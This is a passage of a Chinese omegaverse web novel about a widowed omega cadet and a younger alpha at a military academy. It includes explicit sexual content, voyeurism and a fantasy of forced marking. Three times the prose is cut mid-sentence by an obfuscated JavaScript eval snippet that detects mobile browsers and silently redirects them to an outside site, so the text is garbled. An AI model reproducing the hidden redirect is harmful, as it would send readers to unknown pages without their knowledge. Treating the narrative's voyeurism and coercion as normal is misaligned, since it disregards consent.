兰舒蹙眉思索了良久,却没能思考出个所以然。 他最终只能把这股异样归咎于自己老毛病发作了,一座全是军人和学生的军校,哪里会有那么多异常。 想到这里,他收回思绪,感觉到信息素消散得差不多后,转身离开了这里。 在仓库内耽误了这么长的时间,外面很多项目已经进行得如火如荼了。 兰舒无意去和那帮疯狗一样的Alpha争抢测试的机会,他旁若无人地走过人群,向着排队人数较少的项目走了过去。 可哪怕是这样,还是有不少人瞟见兰舒后纷纷向他投来了震惊的目光,不知道是在震惊他后颈突兀的敷贴,还是在震惊他褪去军装之后,仅穿着内衬的外表。 兰舒原本遮住抑制贴就是为了不让那个人看到,眼下最在乎的人已经看过了,剩下这些无关紧要之人的目光自然也就不重要了。 他神色平静地穿过人群,挽起袖口上了投掷测试台。 台面上出现了一排砝码,兰舒随手拿起最重的砝码在手中掂了掂,而后在周围人震惊的目光下出手——一个惊人的成绩的产生了。 此刻,周围所有因攀比而生的争执在这堪称云淡风轻的一掷下,骤然显得微不足道起来。 以兰舒为中心的百米以内,空气鸦雀无声到让人头皮发麻。 那个强大到极致的Omega神色如常地下了测验台,接下来他走到哪个项目,哪个项目便会有无数围观者连忙给他让开位置。 甚至到了最热闹的短跑和格斗场上,原本谁也不服谁的Alpha们见他过来也纷纷让开位置,乖乖地站在一旁等他测验完。 而曾经对兰舒满腹牢骚的新生,在这一刻也终于在头皮发麻的震惊中深刻领悟了,这个Omega的首席之名到底是怎么来的。 在无数双眼睛的注视下,兰舒却没有丝毫紧张的意思,他就那么按部就班地完成了所有项目。 当他结束最后一个项目准备离开时,龙乾和他的朋友们刚好从校医室走了出来。 兰舒远远地瞟了他一眼。 那人后颈处的抑制贴似乎已经换成了Alpha专用的,自己给他的那个应该已经被扔掉了。 基地模拟出的虚假落日悬挂在天边,扫下来的余晖倒是和真的一模一样。 龙乾的舍友和那群新生簇拥着他向田径测试场的地方走去,兰舒一个人和他们擦肩而过。 似乎有几道目光落在了自己身上,但他没有回头。 * 黄昏很快如流水一样消弭,浓墨一般的黑夜再度降临。 强效抑制贴能够维持24小时的前提是不沾水,可一下午测试完所有项目的兰舒显然受不了就这么一身黏腻的陷入睡眠。 他回到宿舍后依旧没有开灯,垂眸从便携光脑上下单了新的抑制贴后,才站在镜子前一件一件地脱了身上的衣服。 昏黄的月光下,粉色的抑制贴被人从后颈上扯开,随手丢进了垃圾桶中。 扯下抑制贴的一瞬间,泛红的腺体猝然暴露在微冷的空气中,巨大的空虚感紧跟着袭来,心口像是硬生生被挖掉了一块肉一样,难受得让人抓耳挠心。 但兰舒早已适应了这种空虚,整个人甚至有些说不出的麻木。 他脱掉身上最后一丝布料,任由那点机械般的生理渴求在无声中弥漫,而后抬脚走进了浴室。 屋内一片黑暗,只有浴室闪烁着微微的光芒,同时混杂着若有若无的水声。 绰约的人影在浴室中若隐若现,像是古神话中于云雾缭绕中沐浴的神明,美得不可方物。 然而这场沐浴刚持续到一半,身处其中的人便蓦然发现了些许不对劲。 骨髓之中,似乎有什么微妙的感觉正在破土而出。 那不像是标记结束的空虚,反而更像是另一种过于熟悉的,宛如攀附在骨头撕咬的酥痒。 兰舒骤然间停住了动作,电光石火间,他当即意识到了什么——他今天和龙乾待在一起的时间太久,久到高浓度的Alpha信息素已经将他腌入味,哪怕是脱了外衣在外面静置良久,他的衣服上还是难以避免的沾染了些许残留。 而一旦兰舒像刚刚那样毫无防备地扯下抑制贴,周身残留的信息素便会瞬间卷土重来,裹挟着他陷入万劫不复。 是疏忽,还是故作无意的期待? 一切都来不及细想了。 那酥痒好似要把他的灵魂掏空一样,只给他留下了滚烫的躯壳和炙热的欲望,将他煎烤得像一颗熟透了的桃子,温热的水珠只是滚过肌肤,便惹得果实汁水四溢,摇摇欲坠。 黑暗之中,照片依旧高悬在墙壁之上,像是漠不关己的看客。 桃花香气扑面而来,在整个空间内弥漫,最终浓郁成了一股香甜到极致的桃子味。 夜色下,浴室微弱的灯光像是舞台上对不准的打光灯。 一双手蓦然从门后伸出,颤抖着按在了半透明的门扉上。 水珠顺着指尖滑落,熟透了的Omega咬着牙从浴室走了出来,可尚未走几步,他便撑不住一个踉跄,直接跪倒在了地上。 和往日的训练比起来,这一下其实并不疼,可此刻任何碰撞和刺激,都能激起一波难以想象的情潮。 时间就那么在凝滞过去了半分钟,仅下半身裹着浴巾的Omega终于从地板上撑起了湿漉漉的身体。 水珠顺着他的发梢往下淌,滴在肩膀上,于黑暗中滑落,在身下聚成了一个盛着月色的小洼,映照着那人狼狈的情态。 本该为死物的照片高悬于顶,此刻却被什么人借去双 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119869|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眸,像是远古神话中,窥探着神明沐浴的卑劣者一般,悄无声息地旁观着一切。 兰舒对此一无所知。 他咬着唇强撑着最后一丝清明将自己靠在角落里,颤抖着去拿旁边箱子里的抑制贴,可箱子离他还有一定的距离,不得已侧身去够其中的东西,腰间本就不怎么牢固的浴巾随着这一动作彻底滑了下去。 完美到没有一丝赘肉的身体猝不及防地撞进什么人的眼底,堪称刺目的白皙像是一汪坠入人间的明月,皎洁得让人忍不住心生阴暗。 兰舒喘着气探进医药箱中,一把攥住了其中所剩无几的几枚抑制贴,指尖在那一刻白得近乎透明,身体的炙热几乎要烧毁他的最后一丝理智。 只要把抑制贴贴上去,一切问题都将得到解决。 可他哪怕是到了这一步,却还是以惊人的意志力意识到——不行……以他现在的状况,抑制贴恐怕不一定能管用。 而他只有一次机会,踏错一步,便是万劫不复。 兰舒颤抖着深吸了一口气,瞳孔近乎涣散地放弃了到手的抑制贴,转而摸向了一旁抑制剂。 指尖攥紧微凉管壁的一瞬间,记忆中的一切突然在此刻涌现。 只要一针下去,就能解决一切纷扰,再不会有什么欲望能够影响到他了——就像他曾经无数次做的那样。 可……兰舒攥紧手中的抑制剂,心头却在这一刻浮现了什么人的话语。 ——“从今往后,你要健健康康地活在阳光下,不要熬夜,不要滥用抑制剂,也不要再伤害自己。” “你如果不喜欢我……不喜欢我这样的Alpha……从这里出去之后,挑一个你喜欢的吧。” ……蠢货。 心下好似被什么人猛然攥紧了一样,兰舒骤然扔掉了手中的抑制剂,当机立断地摸向了医药箱另一侧的镇定剂。 然而这一点力气就像是从果肉中榨出的最后一丝果汁,拿起那针镇定剂后,兰舒连抬手将其扎向自己后颈的力气都没有了。 如此千钧一发之际,他只能果断舍弃后颈,喘息着咬开针管,同时分开了自己的双腿。 如此一套行云流水的动作过后,兰舒近乎脱力,他瞳孔涣散地靠在角落中,一只手摸索着自己的大腿内侧的肌肉,另一只手则握着镇定剂毫不犹豫地扎了下去。 针尖刺入肌肉的一瞬间,身体不受控制地想要蜷缩,兰舒几乎拼尽了全力才没让自己完全蜷缩。 可这一切剧烈的反应并非是因为痛苦,疼痛在这一刻根本就微不足道。 修长的双腿在黑暗中细细颤抖,随着镇定剂的推入,液体顺着针尖淌了下来,一半流过兰舒的手指,一半滴在了浴巾上。 时间在这一刻似乎失去了意义,所有的一切都被拉得无限漫长,好似永远看不到尽头的海底。 仿佛过去了一个世纪那么久,当最后一滴镇定剂被彻底推入身体后,几乎将人溺毙的情潮终于消退了些许。 浑身上下像是从水中捞出来一样的Omega,在微乎其微的光亮中喘息着,连睫毛都被水色黏成了一簇,像是被沾湿而无法飞起的鸦羽。 就这么过了半晌,他才终于垂眸拔去了针管,针尖从体内出来的一瞬间,鲜血终于涌了出来。 医药箱中有止血的东西,可他不知道为什么懒得去拿。 他就那么靠在角落里,懒懒地用指腹堵住了那个细微的针口。 微弱的光晕下,血和透明的液体一起顺着莹白修长的指尖滴在了浴巾上。 被稀释后的血色晕在布料上没有那么鲜红,反而透着些许粉意。 镇定剂起到的作用和抑制剂不可同日而语,但在巨大的意志力下,兰舒还是勉强恢复了言语能力。 “……开灯。” 他的声音中还带着微妙的干涩,听到指令后,打开的却并非顶灯,而是床头的灯。 他习惯黑暗习惯到哪怕是给光脑上传指令,也只愿给自己设置这一点点光照。 ——到底什么样的经历,才会让一个生在宇宙时代的人,这么惧怕光芒? 兰舒抓着针头扔进一旁的垃圾桶里,而后趁着那点光照,抬眸看向了床头的照片。 镇定剂的作用只是镇定,解决不了任何本质上的问题。 而现在,在再次贴上强效抑制贴之前,他还有一些无法回避的问题要处理。 可这一次,他的情绪却没有往日那么稳定了。 兰舒安静地看了照片三秒,随即垂下眼眸,声音轻得像是埋怨又像是怀念:“永远只知道为别人牺牲的蠢货……” “你也只能这么看着了。” 说着他缓缓分开了双腿,咬着下唇将手探了下去。 10. 戳穿 暧昧在微光氤氲中发酵,微妙的水声在屋内回荡。 大腿内侧的针孔已经不流血了,却因为主人过于粗暴的动作,被摩擦出了隐约的刺痛。 那针孔不大,印在雪白的肌肤上却显得有些突兀,像是被古神话中诱惑神女的毒蛇一口咬在了上面一样,透着股诡艳的色彩。 从针口处再往下,湿透了的浴巾被人夹着绞做一团,一半迤逦在地上,一半挂在那人的右腿上。 原本湿漉不堪的浴巾此刻倒像是块幕布,往日支撑在操纵台上的修长手指绰约在布料之下微妙的颤抖着。 兰舒仰着脸,瞳孔有些失焦地看着墙上的照片,那是一个情色到极致,却又悲哀到极致的角度。 源自Omega的本能而下意识产生的依赖,最终却只能寄托在一张死物上。 可怜到让人绝望。 黑夜似乎没有时间的概念,过去了不知道多久,兰舒蓦然夹紧双腿,瞳孔在黑暗中猛地收缩,一声难耐的喘息终于咬不住地从唇角泄出。 被稀释的粉色血珠顺着那人白皙修长的手指滚落,砸在泥泞不堪的浴巾上,洇出了一片桃花似的纹路。 Omgea喘着气无意识地和照片上的人对视着,瞳孔失焦得像是身处在梦中一样。 他迷茫地看着那张照片,似乎再压不住心头的情意,于是下意识呢喃道:“老公……” ——!! 龙乾骤然间从梦中惊醒。 瞳孔在黑暗中收成一点,像是一头被困在囚笼之中的年轻雄狮。 他借着月色瞟到自己被褥上一片不正常的红,可他垂眸看去的第一眼,却蓦然想到了梦中那张泥泞做一团的粉色浴巾。 过了良久,龙乾才毫无波澜地看向自己手心,那处尚未痊愈的地方,再添了一道深到见骨的伤口。 那伤口比以往任何一次都要深,可他却并未在最该醒来的时候醒来。 似乎是他对于痛感的阈值正在不断提高,又似乎是……他其实根本不愿醒来。 龙乾面无表情地看着那道血痕,脑海中却不断地浮现着那句话。 【你也只能这样看着了。】 世界上最可悲的不是只能做一个卑劣的偷窥者,最可悲的是,连这种施舍似的嗔怪挖苦,都不是说给他听的。 龙乾从来没有像此刻一样清楚地认识到——兰舒不喜欢自己,却深爱着他的亡夫。 这一刻,Alpha的自尊心被那座不可逾越的高山碾作了尘土,龙乾低头捂住了脸,手臂上的青筋暴起,像是困兽一般克制着那股暴虐的本能。 ……是时候把话说清楚了。 一切妄念,都该结束了。 然而第二天一早,龙乾并未能找到见兰舒的机会。 开学的体能测试落下帷幕后,新学期的课很快便排上了日程,高低年级之间的差距彻底拉开,一整天几乎没有任何串级打交道的机会。 再加上军校本就是半军事化管理,就算是同班的同学,一天之内除了午饭和晚饭,也少有能真正见到面的时候,更不用说不同年级了。 而解决这一问题的唯一办法便是逃课,只不过代价有些高昂。 兰舒并不知道有人在找自己。 上午常规训练结束,下午他给自己安排的第一件事,便是全真生态模拟。 所谓的生态模拟,其实就是模拟人体处在太空环境中的状况,甚至模拟一些可能出现的高危环境,以训练士兵在宇宙中的素质。 兰舒拉开舱门坐进舱内的一刹那,气压骤然产生改变,甚至还没来得及开启真正的生态模拟,大腿内侧便传来一阵隐隐的钝痛。 兰舒动作一顿,几不可见地抿了抿唇,意识到自己昨天下手有点狠,针孔又沾了水,到了今日尚未完全愈合。 可他并未因此产生任何犹豫,关上舱门拉下头盔后,他依旧毫不犹豫地选择了最高的倍速。 因为假期加上新生军训的缘故,兰舒已经有月余没有上过生态模拟了,为了让自己快速进入状态,他在模拟舱中呆了整整一个下午。 四个小时下来,连兰舒这样失力的人都有些面色发白,冷汗顺着脊背往下淌。 与此相比,八个小时分成四次循序渐进的“惩罚”,当真算得上手下留情了,可惜没有人理解他的偏爱。 兰舒一边擦汗一边漫无边际地想着,突然脚步一顿。 只见转弯处,龙乾正直勾勾地看着他,不知道看了多久,也不知道在那里站了多久。 ……这小子最近怎么跟鬼一样? 兰舒眼皮一跳,一时间竟有些不知道是该装没看见还是该出言挑衅。 龙乾目光阴郁,一眨不眨地望着那人。 只见往日那个冷淡傲慢的Omega一如既往地穿得一丝不苟,除了发丝有些凌乱外,看不出任何不得体。 然而只有他知道,高高在上的月亮背后到底藏着怎样的淫靡。 也只有他知道,那人制服之下最隐秘的地方,还藏着他亲手刺进去的针孔。 龙乾冒着背处分的风险翘了课,原本是为了来坦白的,可看到兰舒的一瞬间,他却突然犹豫了。 ——一旦坦白,连那些偷来的画面,也将再也看不到了。 兰舒见龙乾站在原地一动不动,只是眸色暗到极致地看着自己,像是一头盯着猎物的狼,看得让人心惊。 换作往常,兰舒非但不会怵他,恐怕还要挑衅两句,但这小子最近的状况着实不对,他实在不想在这个节骨眼上惹这疯子。 想到这里,兰舒若无其事地移开视线,打算权当没看到那人转身就走时,龙乾却突然抬脚向他走了过来。 ——显而易见,这人就是为他而来的。 兰舒动作一顿,联想到昨晚因为这人信息素给自己带来的麻烦,大腿根部不由得隐隐作痛,整个人汗毛倒立间瞬间打起了十二万分的警惕,面上却硬是端出一副云淡风轻的模样:“……有事?” 龙乾往日来找他茬的时候,往往呼朋引伴的,今天却不知道为什么没有带他那些小弟。 他一个人径自在兰舒面前站定,听到兰舒的话后也并不回答,只是递过来了一个包装精致到让人怀疑来历的盒子。 有那么一瞬间,兰舒甚至怀疑里面是什么放射性武器或者量子炸弹。 但他狐疑地看了对方一眼后,最终还是接过盒子选择了当场拆开。 ……那里面放的是一件叠得整整齐齐的崭新制服,以及一整套看起来就无比昂贵的抑制贴礼盒。 兰舒不认识这个牌子。 相较于抑制剂,抑制贴对于大部分Omega来说其实是个鸡肋,但百年平权运动以来,抑制贴逐渐成为了一种象征符号,最近几年更是和各种奢侈品挂上了钩,成为了一些名流Omega攀比的利器。 眼下龙乾送的其实是是星月夜黄道十二宫限定款抑制贴,一共就十二贴,却要足足三万星币。 更恐怖的是,这玩意是宇宙级巨星洛伊斯的联名款,全宇宙一共一百套,某些Alpha为讨Omega欢心,哄抢之下更是拍出了天价。 然而这些,兰舒通通不知道。 他只是在看清楚内里东西的一瞬间,神色有些复杂地抬眸看向龙乾。 ——这小子真知道送Omega抑制贴是什么意思吗? 然而龙乾却误会了他的意思。 “家里人送的,不算太贵重。”他此地无银三百两一般道,“……我看里面也没有你不喜欢的粉色,就当是昨天之事的赔礼了。” 龙乾的嗓音不知道为什么有些沙哑,兰舒闻言一顿,紧跟着却瞟到了他的右手:“两天了,你的手还没好吗?” 龙乾闻言却直勾勾地看向了他的眼睛:“学长这是在关心我?” 兰舒心下猛地一跳,回神后垂眸把盒子盖上,顾左右而言他道:“东西我收下了,昨天的事一笔勾销。” 没了他又补上了一句:“你不用多想。” 他原本的意思是宽慰,可此刻却激起了另一层旖旎。 ——晚了。 见了那种样子,自己怎么可能不多想。 龙乾闻言不说话,只是继续垂眸看着他。 兰舒被他看得头皮发麻:“……还有事吗?” 年轻的Alpha似乎有一些很严肃的话题要跟他讲,但最终他却低下了头。 兰舒有些异样地感觉,对方的目光似乎落在他的腿上,更确切一些来说,是他的大腿上。 兰舒心底突然升起了一种毛骨悚然的错觉,好似他只是Alpha餐盘上的一捧肉。 可最终,龙乾什么都没有和他说,只是道:“……没有别的事了。” “学长晚上回去早点休息。” 和往日相比,今天的龙乾乖得有些诡异了,而且晚上早点休息这一忠告似乎也隐藏着什么更深的含义。 但没等兰舒蹙眉把 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119870|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心中的疑惑问出口,Alpha已经转身径自离开了。 兰舒只来得及匆匆一瞥,却见Alpha后颈的衣领下,一抹粉色一闪而过。 兰舒心下蓦然一怔,他拿着礼盒在原地站了良久,半晌才转身向食堂走去。 当晚的兰舒并没能如龙乾嘱咐的一样早睡。 自人类进入和平时期以来,每三年一届的最大军事联赛——奥林匹克军事竞赛即将在明年年初迎来新赛。 天枢作为四大军校之一,自然要以最充分的准备参赛。 校长因此给兰舒发来了奥赛的预备队名单,要他连夜给出审核意见。 这注定是个不眠夜。 为了提神,兰舒又给自己调了一杯气泡酒。 所有细则和名单全部看完后,酒已经下了一半,夜色则到了万籁俱寂的时候。 兰舒并未急着跟人汇报,而是扭头把目光放在了那个盒子上。 他从中拿出那件崭新的制服,在晦暗不明的灯光下,他看着衣服后领处毫无针线痕迹的布料,无比确定,这不是他原来扔给龙乾的那件。 所以,旧的那件去哪了? 是被人直接扔了,还是被人拿去—— 什么念头呼之欲出,可就在此刻,校长的通讯却突然打了进来。 兰舒动作一顿,开口道:“接。” 光脑自动接通了那则通讯,一道沉稳的女声跟着便开门见山道:“今年的预备队名单已经发给你了,你有什么意见?” 兰舒没有第一时间回答,把制服叠好重新放回了盒子中后,他才端起酒杯坐回沙发,抬头再一次看向了光脑上的名单。 “我没什么别的意见。”兰舒垂眸道:“不过唯有一点——” “能把龙乾划掉吗?” 校长似乎对此早有预料,女性Beta特有的平静在此刻彰显得淋漓尽致:“为什么?” 下午才收了别人的礼物,却要动用私权把人家的名字划掉,要是被龙乾知道了,恐怕要一蹦三尺高了。 想到那人得知之后的怒不可遏的样子,兰舒心悸之余又有些忍俊不禁。 仗着没有人能看见,他堂而皇之的喝了口酒道:“他太年轻了,我们学校百年来从未有过二年级以下的候选人,不符合规矩,而且——” 他把剩下的酒和冰块一起倒在嘴里,缓缓咀嚼了起来。 Omega殷红的舌尖在冰晶之下若隐若现,呼出来一点白气。 女校长耐着脾气道:“而且什么?” 兰舒吞下冰渣,看着床头的照片,云淡风轻地抛出了一个惊雷:“而且我发情期快到了,他和我的匹配度太高,在一起太久容易导致我的信息素紊乱,影响比赛。” 校长思索了一下,给出了一个解决方案:“你可以打抑制剂,现在抑制剂已经迭代到了第四期,应该不会出现岔子。” 兰舒平静道:“我不想打。” 校长沉默了三秒依旧不死心道:“……如果担心身体问题的话,你或许可以考虑请义工。” Alpha义工,一个人类步入新时代后产生的公益角色,主要负责对年老或者丧偶的Omega给与标记清除之后的信息素关怀。 这类义工一般由壮年未婚的年轻Alpha义务充当,无身体接触,只需要将Alpha信息素抽出来注射进Omega的腺体中就好。 只不过抽取过程中,为了保证信息素的活跃,Alpha无法打麻药,剧痛和非盈利的影响下,整个社会中的义工数量其实相当稀少。 但军校本质上还是学校,只要是学校,就会有不少凑不满学分的年轻Alpha前仆后继地愿意当义工。 然而,面对如此好的资源,兰舒却依旧不愿意:“义工只能解决我这边的问题,他那边怎么办?” 校长道:“他可以直接贴抑制贴,毕竟Alpha不在易感期的话——” “他现在就在易感期。”兰舒却根本没有听完的耐心,当即以一种淡淡的语气打断道,“需要我说的再明白一点吗?他易感期紊乱,而且看我的眼神不对劲。” 传闻中死了丈夫的Omega以一种成熟到云淡风轻的语气,毫无保留地戳穿了那点还没来得及捂热的少年心事。 “我可不希望在比赛战场上,被一个刚满20岁的Alpha按着操进生.殖腔。” “大着肚子还得哄他吃奶,我没那种兴趣,我又不是他爸爸。” 11. 妄念 此话一出,通讯对面的人一下子沉默了下来,似乎被兰舒直白到堪称粗俗的话语给震惊到了。 气氛再次归于沉默,兰舒却好整以暇地享受着这股寂静。 他原本想趁着这个机会再给自己倒一杯酒,可指尖刚碰到酒瓶,一种熟悉的窥探感却再次从身后扫了过来。 兰舒心下猛地一跳,骤然警觉回眸,一眨不眨地看向那张照片。 却见照片上的人一如既往地噙着微笑和自己对视着。 那人笑得年轻且朝气蓬勃,衬得他这个经年不见天日的屋子阴沉而晦暗。 不知怎的,兰舒被他“看”得指尖连带着心头同时一颤,竟下意识把右手从杯壁上移开了一些,好似做贼心虚一样。 恰在此刻,通讯的另一头,校长似乎终于找回了言语能力,再一次心平气和地开口道:“你原来不喜欢他吗?前天连夜让我删了仓库的监控录像,我还以为你喜欢他。” 兰舒闻言蓦然回神,却见墙上的照片一如既往的在那里挂着,什么异样都没有发生。 那只是一张普普通通的照片而已。 他不动声色地收回了搭在酒杯上的手指,嗤笑道:“怎么会,像那样只会呲牙的奶狗——” 可他话说到一半却猛地一顿,看着相框中那日的眼睛,心底却没由来地升起了一个荒谬的念想——要是那人当真能看到呢? 不过没等这想法发酵,兰舒立刻便好笑地打消了这个念头。 要真有这种超出现实的事件,那自己可能就要彻底完蛋了。 发疯的狼犬一定会将他吞吃殆尽,骨血都不会剩下一滴。 只可惜不会有人知道,Omega有恃无恐地想到。 最终他并没有评价自己到底喜不喜欢龙乾,而是换了个更巧妙的回答道:“我可是个靠亡夫才得以破格被贵校录取的遗孀,陆熙女士。” “进校的那一天我就跟你说过,我会永远忠诚于我的''丈夫''……这次也一样。” 空气中蓦然陷入了寂静。 这似乎是兰舒第一次,真正提到他那个死去的“丈夫”。 校长,不,联邦上校陆熙沉默了片刻,却似乎还是不死心,于是换了个角度再次劝道:“先前本校不允许二年级以下的学生参赛,是因为奥赛本就在参赛年龄上有成年限制。” “但龙乾的情况你是知道的,他入学时已经十九岁了,今年刚好成年,他的年龄其实是够的。” 在人均年龄二百岁的今天,联邦对于成年的要求是二十岁,但军校的入学年龄依旧秉承着古地球时期的传统,为十八岁。 这也就导致一二年级的学生无法参与一些对成年有要求的项目。 校长显然是想以此来说服兰舒,可惜兰舒并不买账,反而质问道:“你觉得他乐意做这个特例吗?” 陆熙闻言一下子沉默了。 两人的对话好似是在打什么哑谜,但这其实也是很多认识龙乾的学生或多或少疑惑的事情。 像龙乾这样的天之骄子,本该在十六七岁就破格被军校录取,可不知为什么,他真正入学时却已经十九岁了,比大部分同级生都要大一岁。 如此不合常理的事情当然引起过很多人的好奇,曾经不止有一个人拿此事问过龙乾,可对方表现出来的冷漠却让所有提起此事的人都不由得汗毛倒立。 久而久之,众人也就知道了,延期入校似乎是龙乾身上不能言说的禁忌。 有人猜测是家庭变故,还有人猜测是龙乾曾经出过什么极端的意外,以至于不得不延期入校,并且将延期的原因当做了一个三缄其口的禁忌。 然而,只有学校中真正的高层才知道,其实龙乾十七岁时,原本是要被天枢破格录取的。 可入校的前一天,他却突然失踪。 对,就是凭空失踪了。 而他的父亲对此却没有任何表示,只是撤销了他的入学申请。 这一撤销就是整整两年,待龙乾再一次申请入学时,他已经从少年天才,变成了比大部分同级生都要大一岁的“新生”。 虽然天才并不会因为晚两年入学就变得泯然众人,可当龙乾再一次出现在校长办公室时,陆熙总感觉,这个Alpha的身上发生了一些微妙的变化。 但哪怕时至今日,也没人知道龙乾十七岁那年发生了什么,他本人对此三缄其口,而为数不多的知情者更是讳莫如深。 只不过让人没想到的是,兰舒对龙乾的了解,似乎深得令人发指。 而更让人震惊且疑惑的是,陆熙对此没有表现出丝毫异样,似乎兰舒知道此事是再正常不过的事情。 “他或许不愿意当这个特例。”陆熙有条不紊地继续着先前的话题,“但试一试总归不会出错。我们已经埋没了一次天才,不能再有第二次了。” 然而兰舒的态度却异常坚决:“我不管他是什么天才,除非他能彻底赢过我,不然就给我老老实实的在家呆着。” 通讯那头的陆熙听他如此油盐不进,沉默了半晌后似是叹了口气,最终做了几分退让:“……你的意见我明白了,我会让校委会那边考虑的。” 所谓的会考虑,就是不一定。 兰舒抿了抿唇,想说有他没我,可话到嘴边,他垂眸看到本次大赛的地址后,又沉默了。 【本次奥林匹克军事竞技赛的举办地点为A-001荒星。】 【A-001荒星】,其实还有一个更广为人知的名字——【古地球遗迹】。 而自从五年前那场震惊宇宙的核爆后,古地球便不再允许除相关研究员以外的人落地探索了。 但这一次,三年一届的奥林匹克军事竞赛却被定在了这个地方,说明探索限制正在逐步对外开放。 ……无论如何,这个地方他一定要去。 兰舒垂眸看向那个地址,半晌绕开了关于龙乾的话题,语气淡淡地闲聊道:“费伦斯这届还参赛吗?” 陆熙肯定道:“应该要的。” 兰舒“啧”了一声:“他们上届私下动手伤了巴纳那么多人……这事就这么结束了?巴纳那群废物就这么忍了?” “不能忍也没有办法。”陆熙心平气和道,“没有证据,军事法庭也拿他们没办法。” 那实在不像是一个身负军衔的女上将和一个学生之间该有的交谈,两人的谈话中甚至包括一些极度离奇的机密。 无数人恨不得挖空心思获取的隐秘,就这么堂而皇之地被两人当做茶余饭后的闲聊,换任何人来了恐怕都恨不得自己多长几个耳朵。 然而有人不想。 故弄玄虚的政治博弈和大赛机密,加在一起都比不上先前兰舒轻描淡写的几句话。 少年隐秘的心事还没来得及发酵便被焚成一捧灰,连缕烟都没剩下。 原来世界上最尴尬的事不是自作多情被人当面拆穿,而是自己连都不愿意承认的情愫,却被人满不在乎地当作茶余饭后的谈资。 原来尴尬不仅能让人无地自容,还能让人羞愤欲绝。 然而,就在如此巨大的恼羞成怒和恨意下,龙乾却并未能像先前几次一样从梦中惊醒。 他硬是一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15119871|164241||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等到兰舒和校长聊完所有内容,关灯躺在床上后,才缓缓从“梦”中睁开了双眼。 比大脑更快苏醒的是视觉,黑到不见五指的天花板率先撞入眼帘,有那么一瞬间,梦境和现实似乎产生了重叠。 过了差不多整整半分钟,龙乾才缓缓从床上坐了起来,低头一看,却见自己的手心中没有任何鲜血。 他突然以一种平静到诡异的心态意识到——自己原来已经耽溺在其中了。 哪怕痛苦到了极致,却连挣扎的意图都不再有了。 龙乾一言不发地看着手心,半晌蓦然起身,掀开被子下了床。 这是他第一次惊醒没有见血,却也是几天以来动静最大的一次。 “……龙哥?”宫巍睡得迷迷糊糊的,闻声探出头软绵绵地关切道,“你干什么呢?” 龙乾冷声道:“上厕所。” 他话虽这么说,最终却转身进了浴室。 冰冷的水流浇在Alpha炙热偾张的肌肉上,顺着优越而精壮的纹路一路往下。 龙乾沉着脸色,咬紧牙关阴郁地看向镜子中的自己。 这一刻,他为自己冷水都消不下去的反应而感到无边的耻辱。 ——那人分明早就看出了他的想法,却没有戳破,像逗小狗一样嘲弄地旁观着他的一切。 可他却连从梦中苏醒都不愿意,没出息透了。 龙乾冷着脸站在冰水之下,胸口的那团火却怎么也烧不灭。 他本该恨兰舒入骨的……他也确实对那人恨之入骨。 然而在恨意弥漫的角落,一个想法却情不自禁地滋生了出来。 兰舒让人删了那天的监控录像——那傲慢到目中无人的Omega在包庇自己。 那他对自己会不会有一点……哪怕一点的偏心呢? 此念头一出,就像是埋在骨血中的种子发出了芽一样,震得人头皮发麻。 龙乾在冰水中垂眸,看着自己分明没有一滴血的手心,眼前却好似出现了幻觉。 他看到Omega夹着浴巾,湿漉漉地跪在血泊中抬眸望向自己。 脆弱,狼狈,羞耻得颤抖着睫毛,眼底却带着一丝无声的哀求,似乎在祈求什么的垂怜。 和方才端着酒杯所展现出来的漫不经心与游刃有余截然不同。 有那么一瞬间,龙乾根本不想从幻象中醒来,他甚至忍不住得寸进尺地想到,如果在那个昏暗的房间中,当着那人亡夫遗像的面,彻底标记他,会是什么光景? 当他被从未放在眼里的小狗咬着脖子彻底标记时,还能摆出那副游刃有余的样子吗? 那时的他,是会耻辱到耳垂滴血也不愿意喊出一声求饶,还是会因为崩溃和难耐,在他亡夫的注视下,和那一夜一样,呜咽着唤出那两个字:“老公……” 可是—— “学长,你叫的老公到底是谁?” “你是在向他求救吗?” “真遗憾,他救不了你,只能在上面白白地看着。” “张嘴。” 龙乾从幻象中蓦然惊醒,看着手心中一滴血都没有的疤痕,眸色阴郁到了极致。 所有的一切不过是虚幻的妄念。 所以,你恨来恨去,到底在恨什么呢? 无非只是在恨对方不够在乎你罢了。 自尊心在欲望面前摇摇欲坠,Alpha冷着脸揭开自己的伤疤,鲜血再次流了出来。 冷水刺激过伤口,他垂着头,在麻木中一遍又一遍地想到,我不可能喜欢他。 绝对不可能。 12.醋意 龙乾那边阴雨密布,整个人的心情几乎达到了有史以来的最低,可另一边的兰舒却过得无比舒畅,完全不知道自己一句话给人带来了多大的心理负担。 不过很快兰舒就开心不起来了。 